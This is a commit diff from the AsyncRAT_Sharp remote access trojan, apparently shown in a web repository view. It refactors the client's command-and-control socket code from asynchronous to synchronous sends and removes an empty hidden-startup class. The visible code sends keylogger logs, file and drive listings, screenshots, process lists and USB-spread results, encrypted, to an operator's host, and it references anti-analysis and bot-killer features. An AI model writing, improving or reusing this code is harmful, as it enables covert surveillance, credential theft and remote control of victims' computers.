Update
This commit is contained in:
parent
b4769bbb26
commit
7684520c67
@ -127,19 +127,19 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
catch { }
|
||||
}
|
||||
|
||||
public void BeginSend(object Msgs)
|
||||
public void BeginSend(object msg)
|
||||
{
|
||||
lock (SendSync)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!ClientSocket.Connected)
|
||||
if (!ClientSocket.Connected || (byte[])msg == null)
|
||||
{
|
||||
Disconnected();
|
||||
return;
|
||||
}
|
||||
|
||||
byte[] buffer = Settings.AES.Encrypt((byte[])Msgs);
|
||||
byte[] buffer = Settings.AES.Encrypt((byte[])msg);
|
||||
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
||||
|
||||
ClientSocket.Poll(-1, SelectMode.SelectWrite);
|
||||
|
@ -20,8 +20,6 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
{
|
||||
SendBufferSize = 50 * 1024,
|
||||
ReceiveBufferSize = 50 * 1024,
|
||||
ReceiveTimeout = -1,
|
||||
SendTimeout = -1,
|
||||
};
|
||||
Server.Bind(ipEndPoint);
|
||||
Server.Listen(30);
|
||||
|
@ -88,7 +88,6 @@
|
||||
<Compile Include="Handle Packet\HandleLimeUSB.cs" />
|
||||
<Compile Include="Helper\Anti_Analysis.cs" />
|
||||
<Compile Include="Helper\Methods.cs" />
|
||||
<Compile Include="Install\HiddenStartup.cs" />
|
||||
<Compile Include="Install\NormalStartup.cs" />
|
||||
<Compile Include="MessagePack\BytesTools.cs" />
|
||||
<Compile Include="MessagePack\MsgPack.cs" />
|
||||
|
@ -43,7 +43,7 @@ namespace Client.Handle_Packet
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "BotKiller";
|
||||
msgpack.ForcePathObject("Count").AsString = count.ToString();
|
||||
ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -29,7 +29,7 @@ namespace Client.Handle_Packet
|
||||
sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>");
|
||||
}
|
||||
msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString();
|
||||
ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
@ -59,7 +59,7 @@ namespace Client.Handle_Packet
|
||||
}
|
||||
msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString();
|
||||
msgpack.ForcePathObject("File").AsString = sbFile.ToString();
|
||||
ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
@ -95,8 +95,6 @@ namespace Client.Handle_Packet
|
||||
{
|
||||
ReceiveBufferSize = 50 * 1024,
|
||||
SendBufferSize = 50 * 1024,
|
||||
ReceiveTimeout = -1,
|
||||
SendTimeout = -1,
|
||||
};
|
||||
Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));
|
||||
|
||||
|
@ -25,7 +25,7 @@ namespace Client.Handle_Packet
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "thumbnails";
|
||||
msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray());
|
||||
ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
bmp.Dispose();
|
||||
}
|
||||
|
@ -128,7 +128,7 @@ namespace Client.Handle_Packet
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
|
||||
msgpack.ForcePathObject("log").AsString = sb.ToString();
|
||||
Sockets.ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
||||
Sockets.ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
return CallNextHookEx(_hookID, nCode, wParam, lParam);
|
||||
}
|
||||
|
@ -67,7 +67,7 @@ namespace Client.Handle_Packet
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "usbSpread";
|
||||
msgpack.ForcePathObject("Count").AsString = count.ToString();
|
||||
ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -61,7 +61,7 @@ namespace Client.Handle_Packet
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "processManager";
|
||||
msgpack.ForcePathObject("Message").AsString = sb.ToString();
|
||||
ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -225,7 +225,7 @@ namespace Client.Handle_Packet
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Received";
|
||||
ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -1,11 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace Client.Install
|
||||
{
|
||||
class HiddenStartup
|
||||
{
|
||||
}
|
||||
}
|
@ -16,9 +16,8 @@ namespace Client
|
||||
public static readonly string MTX = "%MTX%";
|
||||
#if DEBUG
|
||||
public static readonly string Anti = "false";
|
||||
|
||||
#else
|
||||
public static readonly string Anti = "%Anti%";
|
||||
public static readonly string Anti = "%Anti%";
|
||||
#endif
|
||||
}
|
||||
}
|
@ -22,12 +22,10 @@ namespace Client.Sockets
|
||||
public static Socket Client { get; set; }
|
||||
private static byte[] Buffer { get; set; }
|
||||
private static long Buffersize { get; set; }
|
||||
private static bool BufferRecevied { get; set; }
|
||||
private static Timer Tick { get; set; }
|
||||
private static MemoryStream MS { get; set; }
|
||||
public static bool IsConnected { get; set; }
|
||||
private static object SendSync { get; } = new object();
|
||||
private static object EndSendSync { get; } = new object();
|
||||
private static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total");
|
||||
private static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use");
|
||||
|
||||
@ -39,17 +37,14 @@ namespace Client.Sockets
|
||||
{
|
||||
ReceiveBufferSize = 50 * 1024,
|
||||
SendBufferSize = 50 * 1024,
|
||||
ReceiveTimeout = -1,
|
||||
SendTimeout = -1,
|
||||
};
|
||||
Client.Connect(Convert.ToString(Settings.Host.Split(',')[new Random().Next(Settings.Host.Split(',').Length)]),
|
||||
Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]));
|
||||
Debug.WriteLine("Connected!");
|
||||
IsConnected = true;
|
||||
Buffer = new byte[4];
|
||||
BufferRecevied = false;
|
||||
MS = new MemoryStream();
|
||||
BeginSend(SendInfo());
|
||||
Send(SendInfo());
|
||||
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
|
||||
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
||||
}
|
||||
@ -102,34 +97,34 @@ namespace Client.Sockets
|
||||
}
|
||||
|
||||
int recevied = Client.EndReceive(ar);
|
||||
if (recevied > 0)
|
||||
if (recevied == 4)
|
||||
{
|
||||
if (!BufferRecevied)
|
||||
MS.Write(Buffer, 0, recevied);
|
||||
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
|
||||
Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///");
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
if (Buffersize > 0)
|
||||
{
|
||||
MS.Write(Buffer, 0, recevied);
|
||||
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
|
||||
Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///");
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
if (Buffersize > 0)
|
||||
Buffer = new byte[Buffersize];
|
||||
while (MS.Length != Buffersize)
|
||||
{
|
||||
Buffer = new byte[Buffersize];
|
||||
BufferRecevied = true;
|
||||
int rc = Client.Receive(Buffer, 0, Buffer.Length, SocketFlags.None);
|
||||
if (rc == 0)
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
MS.Write(Buffer, 0, rc);
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
MS.Write(Buffer, 0, recevied);
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
BufferRecevied = false;
|
||||
}
|
||||
else
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
}
|
||||
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
||||
}
|
||||
@ -146,13 +141,13 @@ namespace Client.Sockets
|
||||
}
|
||||
}
|
||||
|
||||
public static void BeginSend(byte[] msg)
|
||||
public static void Send(byte[] msg)
|
||||
{
|
||||
lock (SendSync)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!Client.Connected || !IsConnected)
|
||||
if (!Client.Connected || !IsConnected || msg == null)
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
@ -162,32 +157,8 @@ namespace Client.Sockets
|
||||
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
||||
|
||||
Client.Poll(-1, SelectMode.SelectWrite);
|
||||
Client.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null);
|
||||
Client.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null);
|
||||
}
|
||||
catch
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void EndSend(IAsyncResult ar)
|
||||
{
|
||||
lock (EndSendSync)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!Client.Connected || !IsConnected)
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
|
||||
int sent = 0;
|
||||
sent = Client.EndSend(ar);
|
||||
Debug.WriteLine("/// Client Sent " + sent.ToString() + " Bytes ///");
|
||||
Client.Send(buffersize, 0, buffersize.Length, SocketFlags.None);
|
||||
Client.Send(buffer, 0, buffer.Length, SocketFlags.None);
|
||||
}
|
||||
catch
|
||||
{
|
||||
@ -199,30 +170,11 @@ namespace Client.Sockets
|
||||
|
||||
public static void CheckServer(object obj)
|
||||
{
|
||||
lock (SendSync)
|
||||
{
|
||||
lock (EndSendSync)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
||||
msgpack.ForcePathObject("Message").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%";
|
||||
|
||||
byte[] buffer = Settings.aes256.Encrypt(msgpack.Encode2Bytes());
|
||||
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
||||
|
||||
Client.Poll(-1, SelectMode.SelectWrite);
|
||||
Client.Send(buffersize, 0, buffersize.Length, SocketFlags.None);
|
||||
Client.Send(buffer, 0, buffer.Length, SocketFlags.None);
|
||||
}
|
||||
catch
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
||||
msgpack.ForcePathObject("Message").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%";
|
||||
Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
}
|
||||
}
|
Loading…
x
Reference in New Issue
Block a user